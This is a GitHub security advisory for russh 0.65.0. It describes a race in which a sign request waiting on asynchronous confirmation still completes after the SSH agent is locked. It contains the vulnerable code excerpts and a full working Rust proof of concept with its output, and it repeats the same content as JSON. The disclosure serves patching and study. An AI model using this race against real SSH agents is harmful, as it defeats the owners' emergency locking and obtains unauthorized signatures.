GHSA-736F-C93Q-9FWX

Vulnerability from github – Published: 2026-11-13 19:10 – Updated: 2026-11-13 19:10
VLAI
Summary
russh try_sign: asynchronous confirmation can sign after agent lock
Details

Summary

In russh 0.65.0, a sign request for a confirmation-constrained key can retain and use the private key after another connection locks the agent. try_sign() snapshots an Arc<PrivateKey> before awaiting Agent::confirm() and does not revalidate the shared lock state after the await. An agent-forwarding peer can therefore obtain a signature while the agent is locked and every new request is being rejected.

Details

The agent's lock and key stores are shared by all connections. respond() reads the lock state once, then dispatches a sign request:

let is_locked = {
    // ... read the shared lock ...
};

// ...
Some((&13, mut r))
    if !is_locked && agentref.confirm_request(MessageType::Sign).await =>
{
    let agent = self.agent.take().ok_or(Error::AgentFailure)?;
    let (agent, signed) = self.try_sign(agent, &mut r, writebuf).await?;

In try_sign(), russh clones the private key from the shared store and drops the store lock before awaiting the asynchronous confirmation callback:

let key = {
    let blob = Bytes::decode(r)?;
    let k = self.keys.0.read().or(Err(Error::AgentFailure))?;
    if let Some((key, _, constraints)) = k.get(&blob.to_vec()) {
        if constraints.contains(&Constraint::Confirm) {
            needs_confirm = true;
        }
        key.clone()
    } else {
        return Ok((agent, false));
    }
};

let agent = if needs_confirm {
    let (agent, ok) = agent.confirm(key.clone()).await;
    if !ok {
        return Ok((agent, false));
    }
    agent
} else {
    agent
};

// No lock/key-state revalidation occurs here.
sign_with_hash_alg(&PrivateKeyWithHashAlg::new(key, hash_alg), &data)?
    .encode(writebuf)?;

While confirm() is pending, a second agent connection can successfully lock the shared agent. When confirmation later returns true, the original connection signs with its captured Arc<PrivateKey>.

The affected code is in russh/src/keys/agent/server.rs and try_sign().

RFC 9987 section 5.7 requires a locked agent to suspend private-key signature operations until it is unlocked. A fresh request is correctly rejected while locked; only the request suspended across the await bypasses the lock.

The vulnerable asynchronous call was introduced by commit 62db6e7 as the fix for GHSA-vp5q-ff62-jwqv. The behavior is present in released version 0.65.0 and current commit 183a22e8f8f490fa09b6eb7bd044ef99d8c4414f.

Expected behavior

After the agent reports a successful lock, no private-key signature operation should complete until a successful unlock.

Actual behavior

A request that reached Agent::confirm() before the state transition signs afterward. New requests made in the same locked or expired state fail, confirming that the shared state transition took effect.

Proof of concept

The PoC is self-contained and uses in-memory duplex streams; it does not require an SSH server, Unix socket, or attached binary file. With a current stable Rust toolchain installed, create a new directory:

mkdir -p russh-agent-lock-toctou-poc/src
cd russh-agent-lock-toctou-poc

Create Cargo.toml:

[package]
name = "russh-agent-lock-toctou-poc"
version = "0.1.0"
edition = "2024"

[dependencies]
futures = "0.3"
rand = { version = "0.10", features = ["thread_rng"] }
russh = "=0.65.0"
tokio = { version = "1", features = ["macros", "rt-multi-thread", "sync"] }
tokio-stream = "0.1"

Create src/main.rs:

use std::{future::Future, sync::Arc};

use russh::keys::agent::{
    Constraint,
    client::AgentClient,
    server::{self, Agent},
};
use russh::keys::{Algorithm, PrivateKey};
use tokio::{
    io::DuplexStream,
    sync::{Notify, mpsc},
};
use tokio_stream::wrappers::ReceiverStream;

#[derive(Clone)]
struct DelayedConfirm {
    entered: Arc<Notify>,
    release: Arc<Notify>,
}

impl Agent for DelayedConfirm {
    fn confirm(
        self,
        _key: Arc<PrivateKey>,
    ) -> Box<dyn Future<Output = (Self, bool)> + Unpin + Send> {
        Box::new(Box::pin(async move {
            self.entered.notify_one();
            self.release.notified().await;
            (self, true)
        }))
    }
}

async fn connect(
    sender: &mpsc::Sender<std::io::Result<DuplexStream>>,
) -> AgentClient<DuplexStream> {
    let (server_stream, client_stream) = tokio::io::duplex(1024 * 1024);
    sender.send(Ok(server_stream)).await.unwrap();
    AgentClient::connect(client_stream)
}

#[tokio::main]
async fn main() {
    let entered = Arc::new(Notify::new());
    let release = Arc::new(Notify::new());
    let agent = DelayedConfirm {
        entered: entered.clone(),
        release: release.clone(),
    };

    let (sender, receiver) = mpsc::channel(4);
    tokio::spawn(async move {
        server::serve::<DuplexStream, _, _>(ReceiverStream::new(receiver), agent)
            .await
            .unwrap();
    });

    let key = PrivateKey::random(&mut rand::rng(), Algorithm::Ed25519).unwrap();
    let public_key = key.public_key().clone();

    let mut administrator = connect(&sender).await;
    administrator
        .add_identity(&key, &[Constraint::Confirm])
        .await
        .unwrap();

    let mut attacker = connect(&sender).await;
    let attacker_key = public_key.clone();
    let pending_sign = tokio::spawn(async move {
        attacker
            .sign_request_signature(&attacker_key, None, b"attacker-controlled request")
            .await
    });

    entered.notified().await;
    administrator.lock(b"lock-password").await.unwrap();
    println!("agent locked while confirmation was pending");

    // Control: a request started after the lock is rejected.
    let mut control = connect(&sender).await;
    let control_result = control
        .sign_request_signature(&public_key, None, b"post-lock request")
        .await;
    println!("new post-lock request accepted: {}", control_result.is_ok());

    // The original request signs after the lock has taken effect.
    release.notify_one();
    let pending_result = pending_sign.await.unwrap();
    println!(
        "pre-lock request signed after lock: {}",
        pending_result.is_ok()
    );

    assert!(control_result.is_err());
    assert!(pending_result.is_ok());
}

Run:

cargo run --quiet

Observed on russh 0.65.0 with Rust 1.91.0:

agent locked while confirmation was pending
new post-lock request accepted: false
pre-lock request signed after lock: true

Impact

russh-based SSH agents that implement asynchronous confirmation are affected, including agents exposed to remote SSH servers through agent forwarding. A peer can begin a signature request while the agent is unlocked and hold it in the confirmation phase. If the agent is subsequently locked, approving or otherwise completing the stale confirmation still gives the peer a signature that the agent's current state rejects for every new request.

This weakens emergency locking. The attacker does not recover private key material, and exploitation requires a sign request to be pending across the state transition and its confirmation callback eventually to return true.

Related

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "crates.io",
        "name": "russh"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.65.0"
            },
            {
              "fixed": "0.65.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "0.65.0"
      ]
    }
  ],
  "aliases": [
    "CVE-2026-128088"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-367",
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-11-13T19:10:46Z",
    "nvd_published_at": null,
    "severity": "LOW"
  },
  "details": "### Summary\n\nIn russh `0.65.0`, a sign request for a confirmation-constrained key can retain\nand use the private key after another connection locks the agent. `try_sign()`\nsnapshots an `Arc\u003cPrivateKey\u003e` before awaiting `Agent::confirm()` and does not\nrevalidate the shared lock state after the await. An agent-forwarding peer can\ntherefore obtain a signature while the agent is locked and every new request is\nbeing rejected.\n\n### Details\n\nThe agent\u0027s lock and key stores are shared by all connections. `respond()` reads\nthe lock state once, then dispatches a sign request:\n\n```rust\nlet is_locked = {\n    // ... read the shared lock ...\n};\n\n// ...\nSome((\u002613, mut r))\n    if !is_locked \u0026\u0026 agentref.confirm_request(MessageType::Sign).await =\u003e\n{\n    let agent = self.agent.take().ok_or(Error::AgentFailure)?;\n    let (agent, signed) = self.try_sign(agent, \u0026mut r, writebuf).await?;\n```\n\nIn `try_sign()`, russh clones the private key from the shared store and drops the\nstore lock before awaiting the asynchronous confirmation callback:\n\n```rust\nlet key = {\n    let blob = Bytes::decode(r)?;\n    let k = self.keys.0.read().or(Err(Error::AgentFailure))?;\n    if let Some((key, _, constraints)) = k.get(\u0026blob.to_vec()) {\n        if constraints.contains(\u0026Constraint::Confirm) {\n            needs_confirm = true;\n        }\n        key.clone()\n    } else {\n        return Ok((agent, false));\n    }\n};\n\nlet agent = if needs_confirm {\n    let (agent, ok) = agent.confirm(key.clone()).await;\n    if !ok {\n        return Ok((agent, false));\n    }\n    agent\n} else {\n    agent\n};\n\n// No lock/key-state revalidation occurs here.\nsign_with_hash_alg(\u0026PrivateKeyWithHashAlg::new(key, hash_alg), \u0026data)?\n    .encode(writebuf)?;\n```\n\nWhile `confirm()` is pending, a second agent connection can successfully lock\nthe shared agent. When confirmation later returns `true`, the original\nconnection signs with its captured `Arc\u003cPrivateKey\u003e`.\n\nThe affected code is in\n[`russh/src/keys/agent/server.rs`](https://github.com/Eugeny/russh/blob/183a22e8f8f490fa09b6eb7bd044ef99d8c4414f/russh/src/keys/agent/server.rs#L128-L162)\nand\n[`try_sign()`](https://github.com/Eugeny/russh/blob/183a22e8f8f490fa09b6eb7bd044ef99d8c4414f/russh/src/keys/agent/server.rs#L330-L375).\n\nRFC 9987 section 5.7 requires a locked agent to suspend private-key signature\noperations until it is unlocked. A fresh request is correctly rejected while\nlocked; only the request suspended across the await bypasses the lock.\n\nThe vulnerable asynchronous call was introduced by commit `62db6e7` as the fix\nfor GHSA-vp5q-ff62-jwqv. The behavior is present in released version `0.65.0`\nand current commit `183a22e8f8f490fa09b6eb7bd044ef99d8c4414f`.\n\n### Expected behavior\n\nAfter the agent reports a successful lock, no private-key signature operation\nshould complete until a successful unlock.\n\n### Actual behavior\n\nA request that reached `Agent::confirm()` before the state transition signs\nafterward. New requests made in the same locked or expired state fail, confirming\nthat the shared state transition took effect.\n\n### Proof of concept\n\nThe PoC is self-contained and uses in-memory duplex streams; it does not require\nan SSH server, Unix socket, or attached binary file. With a current stable Rust\ntoolchain installed, create a new directory:\n\n```sh\nmkdir -p russh-agent-lock-toctou-poc/src\ncd russh-agent-lock-toctou-poc\n```\n\nCreate `Cargo.toml`:\n\n```toml\n[package]\nname = \"russh-agent-lock-toctou-poc\"\nversion = \"0.1.0\"\nedition = \"2024\"\n\n[dependencies]\nfutures = \"0.3\"\nrand = { version = \"0.10\", features = [\"thread_rng\"] }\nrussh = \"=0.65.0\"\ntokio = { version = \"1\", features = [\"macros\", \"rt-multi-thread\", \"sync\"] }\ntokio-stream = \"0.1\"\n```\n\nCreate `src/main.rs`:\n\n```rust\nuse std::{future::Future, sync::Arc};\n\nuse russh::keys::agent::{\n    Constraint,\n    client::AgentClient,\n    server::{self, Agent},\n};\nuse russh::keys::{Algorithm, PrivateKey};\nuse tokio::{\n    io::DuplexStream,\n    sync::{Notify, mpsc},\n};\nuse tokio_stream::wrappers::ReceiverStream;\n\n#[derive(Clone)]\nstruct DelayedConfirm {\n    entered: Arc\u003cNotify\u003e,\n    release: Arc\u003cNotify\u003e,\n}\n\nimpl Agent for DelayedConfirm {\n    fn confirm(\n        self,\n        _key: Arc\u003cPrivateKey\u003e,\n    ) -\u003e Box\u003cdyn Future\u003cOutput = (Self, bool)\u003e + Unpin + Send\u003e {\n        Box::new(Box::pin(async move {\n            self.entered.notify_one();\n            self.release.notified().await;\n            (self, true)\n        }))\n    }\n}\n\nasync fn connect(\n    sender: \u0026mpsc::Sender\u003cstd::io::Result\u003cDuplexStream\u003e\u003e,\n) -\u003e AgentClient\u003cDuplexStream\u003e {\n    let (server_stream, client_stream) = tokio::io::duplex(1024 * 1024);\n    sender.send(Ok(server_stream)).await.unwrap();\n    AgentClient::connect(client_stream)\n}\n\n#[tokio::main]\nasync fn main() {\n    let entered = Arc::new(Notify::new());\n    let release = Arc::new(Notify::new());\n    let agent = DelayedConfirm {\n        entered: entered.clone(),\n        release: release.clone(),\n    };\n\n    let (sender, receiver) = mpsc::channel(4);\n    tokio::spawn(async move {\n        server::serve::\u003cDuplexStream, _, _\u003e(ReceiverStream::new(receiver), agent)\n            .await\n            .unwrap();\n    });\n\n    let key = PrivateKey::random(\u0026mut rand::rng(), Algorithm::Ed25519).unwrap();\n    let public_key = key.public_key().clone();\n\n    let mut administrator = connect(\u0026sender).await;\n    administrator\n        .add_identity(\u0026key, \u0026[Constraint::Confirm])\n        .await\n        .unwrap();\n\n    let mut attacker = connect(\u0026sender).await;\n    let attacker_key = public_key.clone();\n    let pending_sign = tokio::spawn(async move {\n        attacker\n            .sign_request_signature(\u0026attacker_key, None, b\"attacker-controlled request\")\n            .await\n    });\n\n    entered.notified().await;\n    administrator.lock(b\"lock-password\").await.unwrap();\n    println!(\"agent locked while confirmation was pending\");\n\n    // Control: a request started after the lock is rejected.\n    let mut control = connect(\u0026sender).await;\n    let control_result = control\n        .sign_request_signature(\u0026public_key, None, b\"post-lock request\")\n        .await;\n    println!(\"new post-lock request accepted: {}\", control_result.is_ok());\n\n    // The original request signs after the lock has taken effect.\n    release.notify_one();\n    let pending_result = pending_sign.await.unwrap();\n    println!(\n        \"pre-lock request signed after lock: {}\",\n        pending_result.is_ok()\n    );\n\n    assert!(control_result.is_err());\n    assert!(pending_result.is_ok());\n}\n```\n\nRun:\n\n```sh\ncargo run --quiet\n```\n\nObserved on russh `0.65.0` with Rust `1.91.0`:\n\n```text\nagent locked while confirmation was pending\nnew post-lock request accepted: false\npre-lock request signed after lock: true\n```\n\n### Impact\n\nrussh-based SSH agents that implement asynchronous confirmation are affected,\nincluding agents exposed to remote SSH servers through agent forwarding. A peer\ncan begin a signature request while the agent is unlocked and hold it in the\nconfirmation phase. If the agent is subsequently locked, approving or otherwise\ncompleting the stale confirmation still gives the peer a signature that the\nagent\u0027s current state rejects for every new request.\n\nThis weakens emergency locking. The attacker does not recover private key\nmaterial, and exploitation requires a sign request to be pending across the\nstate transition and its confirmation callback eventually to return `true`.\n\n## Related\n\n- [RFC 9987 section 5.7: Locking and Unlocking an Agent](https://www.rfc-editor.org/rfc/rfc9987.html#section-5.7)\n- [GHSA-vp5q-ff62-jwqv / CVE-2026-116794: missing confirmation enforcement](https://github.com/advisories/GHSA-vp5q-ff62-jwqv)\n- [Commit `62db6e7`: call `Agent::confirm`](https://github.com/Eugeny/russh/commit/62db6e7defd6d244159da962ccccb029e785ce0f)\n- [Affected `respond()` implementation at `v0.65.0`](https://github.com/Eugeny/russh/blob/183a22e8f8f490fa09b6eb7bd044ef99d8c4414f/russh/src/keys/agent/server.rs#L128-L162)\n- [Affected `try_sign()` implementation at `v0.65.0`](https://github.com/Eugeny/russh/blob/183a22e8f8f490fa09b6eb7bd044ef99d8c4414f/russh/src/keys/agent/server.rs#L330-L375)",
  "id": "GHSA-736f-c93q-9fwx",
  "modified": "2026-11-13T19:10:46Z",
  "published": "2026-11-13T19:10:46Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Eugeny/russh/security/advisories/GHSA-736f-c93q-9fwx"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Eugeny/russh/pull/808"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Eugeny/russh/commit/43a46d67a80a7355fcd2fb25e7e00d79aec8184c"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Eugeny/russh"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Eugeny/russh/releases/tag/v0.65.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "russh try_sign: asynchronous confirmation can sign after agent lock"
}



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